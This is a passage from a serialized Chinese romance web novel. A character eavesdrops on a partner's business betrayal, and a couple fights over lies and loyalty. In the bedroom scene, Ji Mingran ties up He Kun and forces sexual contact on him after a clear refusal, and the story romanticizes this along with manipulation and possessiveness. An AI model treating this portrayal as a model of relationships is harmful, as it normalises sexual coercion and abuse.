达莉娅的语气是夸张的,扬起精巧的下颚,撩起额角的金发,嘴角的笑容不减反增。 贺琨似乎没有听见,他没忘记自己前来的原因,于是直接掠过达莉娅的问题,再次说起此行的主要目的。 “你还有什么需求吗?我会尽量满足你,日后你与纪明冉的过往一笔勾销。” “不,你不能这样。” 达莉娅先生作出不理解的表情,她单手扶额,先是露出手上满钻的戒指,然后自然地抬手耸肩。 动作幅度偏大,带起金发擦过红唇,因为面貌实在美丽,反而更加吸引人去关注她的情绪。 “你的性格只会纵容纪明冉的恶劣。” 贺琨本以为达莉娅是不同意自己提出的要求,不愿意和纪明冉切断联系,以至于听到下半句话时,有些跟不上达莉娅跳脱的思路。 达莉娅像是想到了什么,她杵着下巴勾起嘴角,眸光渐渐亮起。 “贺琨,走吧,我带你见识一个秘密,我新发现的哦。” “算了,谢谢达莉娅小姐的好意,既然无法达成共识,那我们就不耽误彼此发时间了。” 贺琨不知道对面的女士又想到了什么点子,但是他都不打算作陪了,贺琨拿起放在沙发侧边的长伞,起身准备离开。 “等等!你陪我去一个宴会,今晚之后,我答应你再也不用过往的事情纠缠纪明冉。” 贺琨的脚步停住,缓缓转身,黄铜琉璃瓦吊灯在他身上投下暖晕的光环,薄唇轻勾:“成交。” —— 雅安大酒店,达莉娅身着一袭红裙,出场就短暂地吸引了现场大部分目光。 今晚是个带有商业交际性质的宴会,包括纪明冉也会出席。 达莉娅则是代表罗德山庄出席,毕竟纪明冉的母亲已经有心开拓国内市场已久。 但是她今晚不是单身来的,而是带着位男伴。 这位男伴的相貌在男模中不算帅,但也不丑,只是面部有些许僵硬不自然,倒也正常,可能是刚动了刀,还没恢复好。 但说起身材那可丝毫不差,宽肩窄腰,整个人像块被精心打磨的标准石膏模特,线条锐利却不失肉感。 达莉娅挽着她的新欢,贴在男模耳侧,似乎在说着什么暧昧的话语,实则全然相反。 “贺琨,看见纪明冉了吗?你看他身边的人,眼熟吗?” 她的语气中充满挑拨,纪明冉身边的人,贺琨当然认识,那是迅科集团的高管。 她恨不得贺琨无法接受纪明冉的背叛,冲上去赏那个站在聚光灯下侃侃而谈的男人一巴掌,让她最后为纪明冉的生活增添些“乐趣”,算是告别的礼物。 关于达莉娅为什么知道纪明冉对贺琨的算计,那还是场天作的巧合。 挖掘出宋榄这个人才,虽是纪明冉的慧眼,但当时纪明冉当时还在罗德庄园办事,所以算是庄园的人。 那么算下来,宋榄所带领的雇佣组织,也算是依靠罗德庄园得以壮大的。 这个人本来在几年前宣布退出后,便彻底地失联消失,可前段时间不知怎么又回到R国,再次掀起行业的波涛。 达莉娅带着女爵的意思,前去同宋榄交涉,打算再次达成长期合作的关系,但却意外地发现,宋榄身边多了一位“金丝雀”。 那天,她安静地站在门口,等待核验通过。 宋榄住的地方并不好找,但是从破旧不打眼地地方进去后便别有天地。 达莉娅还以为两个人会在书房有个正式的谈话流程,结果却看见宋榄穿着围裙在炒菜。 他听见达莉娅进门的声音后,只是让她在门口的接待客厅稍等片刻。 巨大的刺绣屏风阻断视角,但达莉娅依稀能感觉到宋榄轻声哄着的是位男性。 “honey,别生气了嘛,做了你以前最爱吃的点心,还有糖醋排骨,答应你的事,我肯定会做到的” 宋榄越说越温柔,声音也越来越小,两人应该是凑到一块去了,因为最后是以一枚吻的声音结束的。 就是在那天,达莉娅得知宋榄和纪明冉做了交易。 知道了结果,再去查看过程,就会发现很多有迹可循的蛛丝马迹。 纪明冉到底是不是真心与贺琨结婚的,很值得商榷,毕竟他就是那样冷血的人。 可就算是这样,贺琨也是他唯一的例外。 达莉娅把希望寄托在贺琨身上,再次说道:“贺琨你猜,纪明冉和那人是怎么出卖你的?” 她问完后便拉开两人的距离,目不转睛地盯着贺琨,试图从那双裸露的黑茶色眸子中看出些什么。 第42章 第四十二章忍无可忍二合一加更补偿…… “只是说句话罢了,很正常的交际。” 贺琨看在眼里,敞亮地解释,只是音量不高,像是在说给自己听。 达莉娅注视着依旧执着的贺琨,丝毫不感到意外,她轻盈似只翩跹的蝶,从走过的侍者端起一杯香槟。 纤细的手指漫不经心地松开,玻璃打碎在大理石地板上,发出清脆的声响,金黄的液体毫无形状的四散溢出。 像是暗示什么行动开始的信号。 与此同时,纪明冉的身侧走过一位身穿黑马甲的年轻侍者,他走到纪明冉身边时,腕骨如脱力般地弯折。 手中的托盘顺势倾斜,劈里啪啦地接连落下,碎裂的玻璃碴以及酒浆飞溅,弄得纪明冉裤脚打湿一片。 众人的视线落于这场意外的中心,都等着看那位年轻侍者该如何收场。 虽说纪先生脾气好,但毕竟身份摆在那里,酒店必定要给出说法的。 果不其然,主管不知从哪里无声冒出来的,立马走上前来,步履有些着急,但面上挂着满分的笑容。 “实在不好意思,纪先生,这是新来的员工,才通过培训,想必是第一次见到您这样的大人物,方才慌了手脚。” 主管微微侧身低头,展开手臂引路:“更衣室在二楼,请随我来,我们诚心致歉,定会提供让您满意的补偿方案。” 纪明冉没有抓着不放,只是打量着蹲在地上收拾残局的年轻侍者,直到主管说完,才昂起头,优雅地弯起眉眼。 “不好意思,惊扰各位,请继续,我稍后就来。” 达莉娅站在后方,见人离开主场,便挽着贺琨的胳膊往二楼走:“我也应该补个妆了,不知道裙摆有没有染湿。” 她似乎算准了时间,上到二楼时,纪明冉已经进入了更衣房间。 此时,贺氏集团的那位高管不知为何也出现在了二楼。 达莉娅拉着贺琨站在了一根粗硕的大理石柱后,恰好是那位高管的视角死角。 那男人本是自然大方地走着,却在到了纪明冉更衣的房间门口时,面色一变,略微仓促地开门进入。 不知是过于紧张,还是电子锁的系统被破坏,房间门发出了落锁的声音,但却并没有锁门,门板撞在门框上弹开一条缝隙。 贺琨先是看了看达莉娅,然后左右扫视宽敞明亮的开放式走廊。 “你的意思是站在走廊偷听?” 说罢,转身就要离开,感觉是在瞎胡闹。 “等会!”达莉娅有些急切地拦住贺琨离开的步伐,她提起裙摆,眼睛瞪得圆圆的,“去补妆,我可不是开玩笑的。” 贺琨无奈,看着达莉娅娇蛮的动作,带着绅士教育下本能的谦让与宠溺。 贺琨本人之所以能成为渣男,并不是光靠脸和钱,而是有着独特的魅力,然而他自己全然不知。 “好吧,达莉娅,最后一次。” 贺琨的体面并未维持多久,在私人的化妆间里,达莉娅拿出来的黑色仪器窃听到了更衣室里的对话。 他听见贺氏集团高管的声音。 “纪先生,关于人体机械化改造这个项目,我已经办妥了,您看” 随后,又传来纪明冉淡漠而不加以情绪的声音:“嗯,答应你的交易条件,不会变卦,出去吧。” 空气安静了几秒后,窃听器再次传来声响,还是纪明冉的声音。 “下次不要擅自来找我,记住你的身份。” 短短一句话,隐约带着不容置喙的命令与压迫。 “是是是,不好意思,纪先生。” 门再次被关闭,隔壁恢复安静。 达莉娅得意地笑起来,细腕上的镶满钻石手镯一转,它悠闲轻盈地将窃听仪器关闭。 “听清楚了吗?我可不是骗你,纪明冉这样的性格不可能将真心交付给任何人。” 她再次拿起口红和精美的小镜子补妆,继续道:“你一味地退让,只会被他榨干剩余价值,最后落得被抛弃的下场。” 贺琨还思考着隔壁房间的那段对话,达莉娅的警告怎么也进入不了脑子。 他不由地杵在梳妆台上借力,指尖逐渐褪色泛白,纪明冉的回答如同残忍的刀片将他的真心凌迟。 而达莉娅的话句句被验证,所以结局就是被抛弃吗? 他回想起从项目出现危机,到纪明冉接手后的每一个细节,种种异常似乎有了解释。 “无论是什么,我都帮你。” “相信我,阿琨。” 那时交付的无条件信任,以及对爱人的依恋,都在此刻变成了对方手中最趁手的工具。 他忍不住剖析、再剖析。 但即便是面对纪明冉显而易见的背叛。 贺琨的第一反应依旧是——难道他哪里做得还不够好? 否则,为什么在明知人体改造项目那么重要的情况下,冉冉行着救世主的姿态,最后的答案却是将他做空。 “好好想想,贺琨。” 达莉娅打断了他纷繁的思绪,将精致的口红装进了皮质小包内,离开之前,不忘添油加醋。 “你是要继续自欺欺人,忍受他无无止尽的谎言,还是认清现实,报复他。” 最后三个字眼咬得格外轻,却格外婉转空灵,耐人寻味。 贺琨瞬间回神,摒弃自怜自艾的想法,转而看向达莉娅:“这就是你的目的?” “达莉娅女士,恐怕要让你失望了,不过谢谢你的提醒,请回吧。” 他需要独处,现在。 “贺琨,别犯傻,这可不是恋爱脑发作的时候。” 怀疑的种子已然种下,看着贺琨认真的神情,达莉娅忽地又不着急了。 有句话是她的中文老师教她的,看见此时的贺琨,她便想起来了,叫做什么“爱之欲其生,恶之欲其死”。 这样忠贞痴情的英俊青年,似乎只出现在童话故事里,而这类人往往偏执热烈。 达莉娅轻笑起来,嘲笑着隔壁全然不知的男人,她只好慈悲地为纪明冉祷告了。 祷告上帝——纪明冉最好并不是真的喜欢贺琨。 现在,贺琨只知道纪明冉背叛了他,却不知道是谁陷害他哥。 若是等贺琨知道背后的全貌时,纪明冉还能像现在这般风轻云淡吗? 贺琨还会使任由他摆弄的,满心满眼皆是他的布偶娃娃吗? 达莉娅取出一张名片,塞进贺琨的手里,她最后审视着这位比她高大许多的青年。 眼底是这个浮华时代里难得的赤诚,他似乎只为一人而来,也只会为那人选择离开。 “贺琨,在需要时联系我吧,你太招惹怜爱了。” 高跟鞋落在大理石地面上的“哒哒”声逐渐远去,贺琨看着手中是名片,他和达莉娅的关系变得奇怪了。 “不要丢了哦,你会需要的。” 达莉娅像是遗漏了什么重要的事,忽地转身,还是那位迷人的金发女郎。 她张扬着,俏皮飞吻,像不着边际的彩色气球,说完就翩然“飘”走了。 —— 纪明冉将车辆停入车库,下车前看了眼时间,已经是凌晨2点,贺琨应该已经睡着了。 他这段日子特意压缩时间,加急处理各项事宜,如今项目大部分都进入了正轨。 毕竟,接下来很快就要到订婚宴会的日期了,这样他就可以空出更多的私人时间,想到这嘴角的笑意也染上了几分真实。 纪明冉在客卧简单洗浴后,穿着浴袍轻声打开主卧的房门,本应睡得香沉的贺琨睁开了双眼。 这点微小的变动很快被纪明冉察觉,窸窸窣窣的声音响起,随后是软床的塌陷。 他压低音量,将轻柔的吻落在贺琨眉眼间。 “抱歉,吵醒你了,还在夜深,再休息会吧。” 贺琨没有回应,躲过纪明冉想要拥抱的动作,他坐起来看着纪明冉,很认真,想说的话很多,却不知从何说起。 今晚他并没有如达莉娅的愿去大闹,而是沉默地离开了,直到推开公寓的门时,面色依旧是失去血色的苍白。 订婚宴会的前夕,美好的假象似乎以一种极其幽默的方式,讽刺诙谐地在贺琨眼前撕开。 他已经有些分不清了,哪些是真的,哪些是假的。 “纪明冉,你真的喜欢我吗?” 字字清晰,回荡在昏暗的房间内。 贺琨单手捧着纪明冉的脸颊,眼眸中闪烁着微光,不自信的飘移中带着难言的灼热。 半晌没听见回答,他抿了抿干涩的嘴唇,故作轻松:“你可以说实话,没关系啊。” 贺琨想要的不多,他甚至什么都可以不要。 纪明冉先是皱眉,随后温柔散去,他慢条斯理地站直身子,俯视着贺琨,月华透过窗帘的缝隙照在他的侧脸上,拉出道冷漠的光泽。 “你知道什么了?” 那么的坦然,仿佛欺骗贺琨是件理所应该的事。 贺琨的手心落空,悬在半空不上不下,他垂眸不知道在想什么,最后紧紧阖上双眼,再睁开时,痛苦变成了麻木。 像是循着爱纪明冉的本能,他再次向前倾身,试探着牵住纪明冉的指间,挤出抹讨好的笑容。 “我没有什么意思,冉冉,你先别生气,我只是担心你,是生意上遇见什么棘手的事情了吗?” 纪明冉感受着贺琨缠绕在他指间的手指,微微颤抖着。 贺琨太喜欢他了,这个认知使得纪明冉舒展开眉眼,是属于胜利者满意的笑容。 他柔情地弯腰低头,最终将拇指地压上贺琨的唇角,缓缓地碾过软唇。 “贺琨,答案不重要了,你输了。” 纪明冉将人推到,随意披在肩头的浴袍,于大幅的动作中散开,腰腹间几道肌肉棱线随动作出现,人鱼线分明,隐没进盲区。 曾经在国外时留下的刀伤与枪伤已经愈合,又因与R国的人混血,皮肤呈冷白色调,所以残痕并不明显。 他肩背微伏,手掌滑进温热的被中,蛮力地扣住腿根,不容拒绝地分开。 细碎的吻很快落在贺琨的颈间,带着惩罚的意味,夹杂着啃噬的疼意向上。 贺琨的手掌按在纪明冉额头,没起作用,就在要被封住嘴唇时,他下了狠手推开,没心情,最起码不是现在。 “不,不是,松开我。” 虽然语气依旧软和,但是却是贺琨第一次正式地拒绝纪明冉。 落在纪明冉眼中,原本听话省心的爱人,在外界无所谓的干扰下,都变得叛逆了。 他嗤笑一声,眼神变得格外阴森,像是要将身侧之人吞噬入腹。 征服欲腾起,纪明冉将浴袍腰间的系带抽出,要捆住贺琨那双不安分的手,整个动作缓慢,却裹挟着强势的压迫。 纪明冉是真的拼杀出来的,相比之下,贺琨更显业余。 他当即立断地起身,慢慢后退,脚步声都不敢发出。 “冉冉,我去客卧休息,等你冷静下来,我们再谈,好吗?” 贺琨说完话便转身,背着纪明冉加快脚步往外走,手心握住金属门柄的时候,终于松下了半口气。 “嘭——” 刚打开的一半缕门缝,就在贺琨眼前闭合,伴随着砸门落锁的声音。 他警觉地回头,想要翻身,但是已经没有转身空间了。 一只有力的手掌出现,直接按住他的额角压向门板,敲出一阵闷响,眼睛都花成一片, 贺琨从顿疼中回神,双手已经被严丝合缝地捆在身后。 他深呼吸,也是纪明冉了,换个人来,贺琨高低得双倍砸回去。 “老婆,松开我,好好说行吗?” 贺琨都没有时间伤感了,他还没怪上呢,纪明冉先疯上了。 纪明冉将贺琨生生压迫到地上跪着,将贺琨的膝盖抵死在实木门板,身子也是正面紧贴着门,不留丝毫空隙。 而他自己则是跪在贺琨的小腿之间,腹部贴着对方手感极好的圆润,他卡住贺琨的下颌,就往自己肩膀上压。 “说什么?有什么好说的,你要和我离婚吗?” 贺琨丝毫没有注意到纪明冉话中的歧义,他们都还没有结婚,怎么离婚。 他正处在一种窘迫之中,往前是门板,往后坐更不行,贺琨后脑被迫仰靠在纪明冉的肩头,艰难地吞咽着口水,讲理道: “那个项目是我哥的心血,能不能算了,”他没有说完,但是未完的话中意,两人心知肚明,“我名下还有其他很多的财产,都可以随你调用。” 纪明冉想起贺琨曾经在贺青峰出事的那天,站在医院顶楼对*说过的话,什么“我只有哥哥了”。 现在不是还有丈夫吗? 现在事情暴露了,他反倒轻松,不再端着好好先生的模样,直接挑拨道: “贺青峰对你很重要?嗯?你是大慈善家还是来感恩社会的?” 纪明冉没有注意到贺琨越发苍白的脸色,只是自顾自地在怀中人耳畔念叨,语气中充斥着扭曲的占有欲。 “贺琨你要记住,他是你的杀父仇人,他杀死了你的亲生父亲,现在,你只有我了。” “放开我!” 贺琨眉头轻拧,被迫昂起长颈,喉结不住滚动,少见地露出了明显的抵抗情绪。 纪明冉视线上下扫动,这副不可折辱的模样,反倒戳中内心深处最暴虐的欲望,偏头再次直接吮咬上贺琨的喉结。 “呃——疯,疯子啊——” 贺琨苍白着脸,身体瞬间僵直,汗毛根根竖起,性命此刻全然交在他人的手中。 但凡纪明冉没有控制住牙口的力道,他丝毫不怀疑,明天自己就会因为过于猎奇的死法,而登上各大报刊。 纪明冉明显兴奋了,可贺琨头皮都在发麻,他不知道为什么身后的人没有半分愧疚,反而更加恶劣了。 此时,贺琨脑海中滑过达莉娅的警告——“你的性格只会纵容纪明冉的恶劣”。 他默了默,直到突起的肩胛骨被落下了一圈带血迹的咬痕,才回到当下。 生理性的热泪瞬间涌上眼眶,钝痛到窒息,细细密密地往心里扎。 孙子养的纪明冉,他不忍了。 “纪明冉你放开我,有本事我们的打一架!” 贺琨双手被捆住,腰腹往前用力只能是坚实的实木门板,往后坐更是顺了纪明冉的意,憋屈得不行,他不管不顾地挣扎起来。 是,他是好喜欢好喜欢好喜欢纪明冉,像融进骨血里,无法割舍。 但友好沟通才是正理,贺琨已经退让到无路可退了。 “我哥对我就是很重要,他将我抚养成人,难道就凭借一封邮件,就要将那些过往全都抹杀吗?” 纪明冉听着,不知为何燃起满腔怒火,他再次加重力气,怀中人磕上门板。 小腹微微鼓起一个弧度,贺琨再次无力地仰头,意识回神后,红着眼眶坚定道: “唔——难道我就不能先找到他,亲口问他吗?谁能比我更了解我哥?他到底是真情还是假意——” 纪明冉残忍地按住那块突起的圆弧,将人往后压,顿时喘息不止的声音响在耳边。 贺琨脑内本是浑沌,额角湿咸的泪水滑进左眼,刺痛得一阵清明,话峰突然转变,贺琨开口质问: “你是不是根本没有帮我找人?!” 纪明冉愣住,何止是没有找人,甚至人都是他送出国的,并且也是他帮忙宋榄抹除的痕迹。 贺琨发觉后,立马抓住这个间隙直起身,用尽力气往后撞,趁着纪明冉捂住闷疼的胸腔,进了浴室。 他先是背着身子,艰难地将门反锁,然后找出刀片,将手上捆死的绸带割断,擦去腿间的污秽。 疼痛中的纪明冉很快就反应过来,走到浴室门口,猛踹一脚那扇岌岌可危的浴室磨砂玻璃门。 知道坚持不了多久,贺琨拽下干净的件白色浴袍遮住身体,他皱着眉,好心提醒:“别踹了,待会开门闪到你的腰,你又生气。” 他不情不愿地开门,每一个动作都慢吞吞地,开门就是小纪明冉,他选择性忽略,结果看见脸更黑的纪明冉,他再次机动性忽略。 于是,只好再次返回浴室,再拿出一件浴袍,丢给纪明冉,盖住。 “你骗了我那么多。” 说不难过是假的,贺琨自嘲地笑笑,装作毫不介怀的洒脱模样。 “我就是想问问你,喜不喜欢我,问题总是可以解决的,你要是想要资金,我的所有都可以给你,冉冉。” 两人胡乱闹了一通,贺琨走到躺椅前,软软地倒下,都没有力气大悲大恸了。 “至于那个项目的事,等我哥回来,你们商议一下,不好吗?” “幼稚。”纪明冉的情绪也被激烈的胡闹放大了,打碎了往日的平和。 贺琨彻彻底底地累,从心到身,听见纪明冉的讥讽,都没有什么感觉了,他也不知道为什么,明明曾经都会痛得难以呼吸。 “我幼稚,你成熟,我感情用事,你理智机敏,可以吗?” 他躺在躺椅上看着,扭头看向窗外的月色,指间的戒指紧箍着,怪难受的。 “所以,冉冉,你说过一句真话吗?” “没有。”纪明冉听着贺琨的挖苦,同样地讥讽回去。 贺琨缓缓眨了眨眼,似乎在预料之中,至于问题已经没有意义了,他只是回答道:“好。” 一切又被自己搞砸了,唯一的好事就是纪明冉这个人还活着。 行,贺琨认了。 “别拦我了,冉冉,我总得找到贺青峰的。” 似乎有什么在脱离掌控,纪明冉有些不安,但他没有表现出来,只是傲慢地站着,提醒贺琨,关于贺青峰真实的身份和目的。 “他是贺嘉岂,不是贺青峰。” 贺琨没有和纪明冉对抗的精力了,他顺着说,“好,我要找回贺嘉岂。” “他就那么重要?”纪明冉如恶鬼般,阴沉沉的问。 “是的,目前来说,最重要。” 贺琨说的是真心话,纪明冉活着,找到他哥,将所有恢复原样,他就回到自己应该在的位置,沉默一世。 纪明冉这个人,安静地遥望就好,开始时候,就不应该强扭的。 贺琨承认妄想和纪明冉在一起,是他的错。 “哦,对了,戒指,还给你吗?” 纪明冉也不想和自己结婚吧,逢场作戏的道具而已。 他心怀侥幸地问了。 按照纪明冉的脾气,肯定不会要,那么贺琨还能留个念想。 没想到纪明冉不接话,而是换了个话题,“和我做完。” 贺琨:“……” 哪位大师总结的真理,男人都是下半身动物。 可他不想了,便胡乱扯了个理由,再次拒绝纪明冉:“不想,疼,累,改天吧。” 贺琨只是觉得难堪,原来纪明冉完全没有动心,那么他之前每次陷入热潮后的情动不已,岂不是被对方当成笑话看了许久吧。 “以前能做,现在就不能了?提到了贺嘉岂就行了,想让他来艹你?” 纪明冉很少被贺琨拒绝,几乎没有,更遑论接连拒绝对他说话刻薄得可怕,专门往贺琨的心最软的地方猛扎。 “啪——” 好不容易整理好的伤疤,一次一次地在纪明冉的语言中反复揭开,贺琨忍无可忍。 直到打完纪明冉,指间都还在颤抖,憋在胸腔里挤压着的情绪,几乎都在这个耳光中宣泄出来。 第43章 第四十三章卖惨装乖贺琨看着被自己…… 贺琨看着被自己掌捆得偏过头的纪明冉,不可置信地看了看依旧在发麻的掌心。 纪明冉侧头静默地站着,发丝垂落遮住眼尾,让人看不出是什么情绪。 那张精致面庞上很快浮现出红肿的痕迹,贺琨顿时后悔,自己真是气昏头了。 他手足无措地站着,想要上前检查纪明冉的伤势,又犹豫着不敢上前,“对不起,我不是故意的。” 纪明冉依旧沉默,贺琨试探着慢慢走上前,轻柔地捧起纪明冉的脸颊,冷白色的肤色上红痕实在明显。 但是当视线落在那双浅咖色的眸中时,他却呼吸一窒,细密的刺痛又爬上心头,像是本能。 那双眼如同两汪冬日初融的雪泉,盈着清亮的水波,盛满了破碎的月光,似乎很伤心,这一刻完全激发了贺琨心中的保护欲。 “你别哭啊,你以后不要说那些话了,我就是气昏头了,”贺琨拉起纪明冉的手,往自己脸上压,“不然,你打回来,心里就舒坦了。” 他眼睛一闭,脖子一横,大有一去不返的豪迈。 贺琨闭眼后,纪明冉视线落在那些自己刚烙印的新鲜吻痕上,破碎美感全然消失。 脸上的红痕反而为眼神中阴森可怖的占有欲,增添了完全相反的气质,矛盾又古怪。 “那你还生气吗?” 问得又轻又软,听得贺琨心疼。 他还不习惯突然变得弱势的纪明冉,这简直是犯规,他好像太吃冉冉这套了,根本硬气不起来。 贺琨犹豫二三,还是故意板起脸:“你以后不能欺骗我。” “不会了,我就是害怕,你知道的,父亲他病倒了。” 贺琨将比他高出半个脑袋的纪明冉拉入怀中,摸摸脑袋:“也不可以说难听的气话了。” “嗯,不说了,对不起。”纪明冉感受着怀中的温暖,满意地笑了,真好骗啊。 “那你也不可以阻拦我找贺嘉岂。” 纪明冉听见这个名字,眼神暗了暗,咬牙道:“嗯,好。” 贺琨听见纪明冉闷声闷气,以为是自己抱得太紧了,微微松了些力道,结果却没想,下一秒就被更重的力道按压回去。 他感受着这个看似失而复得的拥抱,晃了晃神,却再也没有曾经悸动多余的想法,只是继续开口劝导。 “以后做的时候,也不可以用那个姿势了,我都使不上力气。” 纪明冉半晌没说话,看得出他挺喜欢这样完全掌控、不容逃脱的占有。 贺琨:“?” 他试着动了动,想从纪明冉的怀中出来,看看到底是什么情况。 但是刚开始挣扎,就感受到纪明冉的胸腔微微震颤,伴随着一声:“唔。” 贺琨当纪明冉答应了,两人沉默着相拥,很多事情却在无声中变了模样。 他还在安抚性地轻拍着纪明冉的背,明显地走神,其实还有一个问题,是今夜最开始的那个问题。 但是现在,他看着窗外的月色,决定放过自己,无所谓地笑笑,终是没有再开口。 最后是贺琨先松手,他按上纪明冉的肩膀,轻轻将人推开,仔细地端详着那张泛肿得更厉害的脸庞,关心道:“我帮你处理下吧,不好意思。” 翌日清晨。 纪明冉看着还在身侧熟睡的贺琨,有种劫后余生的安稳,昨夜种种让他意识到了一件事。 那就是时至今日,自己已经不再是为了做空贺氏的竞争项目,才和贺琨结婚,而是他真的想和这个人结婚。 纪明冉特地推掉了今早所有的会议,久违地在厨房里制作早餐,想等贺琨醒来再离开。 “嗯?你今天不忙吗?” 贺琨听见厨房里的声音,还穿着睡衣就偏头出来,往餐厅看了眼,平日里早应该离开的人,现在正站在厨房制作早餐。 “还好,前段时间忙得差不多了,热了牛奶,快去洗漱吧。” 贺琨笑着点头,关上房门后轻松全然不见,他低头盯着戒指许久未动,直到纪明冉再次来喊,才换回往日的模样去到餐厅。 两人面对面地坐在餐桌前,纪明冉吃得很慢,极为优雅,看起来有大把的时间可以浪费,迟迟不打算离开,和贺琨有一搭没一搭地聊着。 “订婚的餐厅挑选的怎么样?” 贺琨咀嚼着煎蛋,突然有些咽,如果记得没错的话,这是一周前就敲定的事项了。 “嗯,挺好的。” 其实他想说的是,这婚还结吗? 但贺琨担心纪明冉发疯,他昨晚已经见识过了,像有两面似的,以前怎么没发现。 贺琨自认他已经没有什么利用价值了,所以现在纪明冉的行为,反倒有些让人读不懂。 “阿琨看你,脸色都变了,我当然记得我们订婚的酒店是在熙陇饭店。” 纪明冉端起餐盘,坐到贺琨身旁的位置,将一枚带着热牛奶香气的吻,落在了贺琨脸颊。 “你知道的,我也爱你。” 意外得到最想要的告白,贺琨没有半分欣喜,而是唰地站起身子,第一反应竟是纪明冉是不是又有新的计划了,真是怕了。 他觉得有些事还是得讲清楚。 为了表明决心,贺琨在纪明冉的目光中,将戒指缓缓摘下,放在玻璃餐桌上,敲出清脆不已的响声。 “冉冉,你要是有什么需要用上我的,直说就好,我不会拒绝你,真不需要这样。” 他苦楚地笑笑,“订婚请帖还未发出,现在收场还来得及。” 纪明冉先是看着桌上的戒指,往后靠上椅背,他仰头凝视着贺琨,简洁的现代餐椅,也变得压迫起来。 “发了,已经。” 他拿起手机,随意点开一则新闻,女主播的声音娓娓道来: “这场联姻下,坤和集团和迅科集团有望达成深度合作,在金融、科技、地产等多领域整合资源,优势互补” 纪明冉拿起戒指,固执地为贺琨戴上,他知道贺琨的软肋,毫无芥蒂地利用自己的容貌,苍白着脸故作坚强,像被渣男无情抛弃的可怜美人。 “阿琨,是你不想要我了吗?” 贺琨支支吾吾半天,说不出拒绝的话,直到目送纪明冉离开,方才长长叹息。 算了,先找哥吧。 如果纪明冉真的遵守承诺,不出手阻碍,应该很快就能有消息。 —— R国,私人小岛。 贺青峰带着墨镜,躺在沙滩躺椅上,青春洋溢的男大捧着现做的冰镇气泡果汁,体贴地送进他的口中。 “峰哥,我给你涂防晒霜吧,这太阳多毒辣啊。” 宋榄站起来,小腹的新伤口如今已经全然愈合,只剩下一道凸起的疤痕,本人丝毫不介意,并且在前段时间,还没有拆线结痂时,就疯疯癫癫地闹着,要将这个疤痕纹身,证明他刻骨铭心的爱意。 直到被忍无可忍的贺青峰骂了一顿,才打消了莫名其妙的兴起。 “不需要,有遮阳伞。” 贺青峰都懒得分给宋榄半点眼神,不用猜也知道对方打的什么心思,他又不是疯了,这个私人小岛,除了几位厨师和侍者根本没人,简直就是宋榄最佳的发疯场所。 宋榄有些委屈,他又蹲回贺青峰身边,用枪支掘着沙子,没过多久他眼睛又亮起来,抓起桌面上的精油:“我给峰哥按摩!我手法可好了。” 贺青峰有些意动。 他知道宋榄在这方面确实有点本事的,因为在国内热恋期间时,宋榄见他每天忙于工作,专门去专业按摩机构跟班学习了一段时间,只为了能让自己不那么累。 贺青峰没有表现出来,他知道但凡面上露出半分动容,宋榄都会像闻见味的疯狗,狂躁起来。 他端起气泡饮料喝了一口,眉头微蹙,本应该精心制作的饮料中,却多出了一个硬物,片状,方形,过于规整。 贺青峰脑子转得极快,他用舌根压住异物,转而看向宋榄,他翻身坐起,翘起二郎腿,左脚踩着沙子,右脚悬空微微摇晃,擦着宋榄已有变化之处。 “不,今天我给你按摩。” 宋榄自然是无有不从,他羞涩地点点头,像个再清纯不过的小男生。 贺青峰看在眼里,麻木着,宋榄的花样那是一套比一套的“脏”,让人无法招架,可是表面上跟个白兔似的。 就像现在,扭扭捏捏地躺上贺青峰刚躺过的椅子,眼神满是闷骚,贺青峰都还没有动作,宋榄已经开始满嘴跑火车。 “啊,椅子怎么湿的,出汗了吗?还是趁我不注意的时候,峰哥干坏事了” 贺青峰对于这样的“栽赃陷害”已经能够做到面不改色了,他拿起桌上餐盘中的小蛋糕直接塞进那张喋喋不休的嘴里。 “你最好别动,别挣扎。” 贺青峰凑到宋榄耳边轻说,低沉优雅的嗓音,压得格外具有磁性。 宋榄先是愣住,随后瞪大眼睛,身子微抽。 他对贺青峰的邪恶猜想,现在,在他自己身上应验了。 贺青峰嗤笑,毫不客气地讥讽,他保证大部分都是宋榄言传身教。 “都还没碰,真下贱啊。”贺青峰拍了拍宋榄的脸,将人的神智换回。 他解开野餐篮子上的缠绕好几圈后扎成蝴蝶结的修饰缎带,用餐刀碎成足够长的三段。 在宋榄殷切的目光下,将这人手臂与躺椅的扶手打了死结,又将宋榄的眼睛遮得严严实实,检查没有挣脱的风险后。 贺青峰慢慢取出舌底的异物,是枚小巧的芯片。 这时,被遮住双眼的宋榄不满地发出声音:“峰哥?” 贺青峰立马将东西收好,随口应付:“别急,好东西得留到最后不是吗?” 宋榄很认同,急切地点头,他又怕贺青峰整不明白,红着脸提醒:“峰哥,东西我都有准备,就在篮子的另外一侧。” 贺青峰顺着宋榄的话头,侧眼一看,“” 果然齐全,计生用品整套大放送,摆明了是来折磨自己的。 他收回视线,看了眼装乖躺着的宋榄,怒了一下,提起鞋子,头也不回地离开沙滩。 第44章 第四十四章徒劳一场蒋斌坐在贺琨旁…… 蒋斌坐在贺琨旁边,捧着手机在峡谷厮杀,手指翻飞,快速地在屏幕上点击滑动,还抽空关心了贺琨一句: “我说,你这特殊时期,出远门能行吗?换成宝珍,靠——人机吧,我说,换成宝珍,啧,不是?” 贺琨靠在椅背上,坐得规规整整的,拿着瓶矿泉水,不知道在想什么。 直到蒋斌提了宝珍两次都没有把话说完,他才抬眸看向师兄的手机屏幕,确实“战况”不妙,于是主动回答:“反正,他应该不关心这些。” 蒋斌闻言皱了皱眉,“什么意思,吵架了?” “也不算吧。” 贺琨回想起这几日两人的相处日常,就是很平和。 那晚的事情如同没有发生过,他和纪明冉保持着缄默,不再提起。 蒋斌关闭结束的游戏页面,把手机揣进兜里,狐疑地看着贺琨,像看着玩弄感情的渣男:“你不喜欢纪明冉了?” “刻板印象,是吧?”贺琨胳膊往蒋斌肩头拐了一下,拧开瓶盖喝了一口水,咽进肚子里,“不说了,说不清。” 蒋斌还想开口继续问,这时一位身穿机场工作制服的空姐面带微笑地走来:“两位先生,早上好,目前您们乘坐的飞机已经可以安检登机了,请随我来。” 贺琨耸耸肩,站起来:“走吧,师兄。” 蒋斌将背包背上,搭上贺琨的肩膀:“谈恋爱,我包有经验的,爱情十年长跑!你小子还不知纪明冉长什么样,我就在操场上牵你宝珍姐的手手了。” 贺琨听到最后白眼一翻,嘴角却有了笑意,他打趣道:“那是蒋伯伯房子买的好,就在宝珍姐家附近,宝珍姐又美又温柔,可惜就让师兄的油嘴滑舌给骗了。” “啧,都敢调侃师兄了,小心待会我就给老师打电话告状啊。” 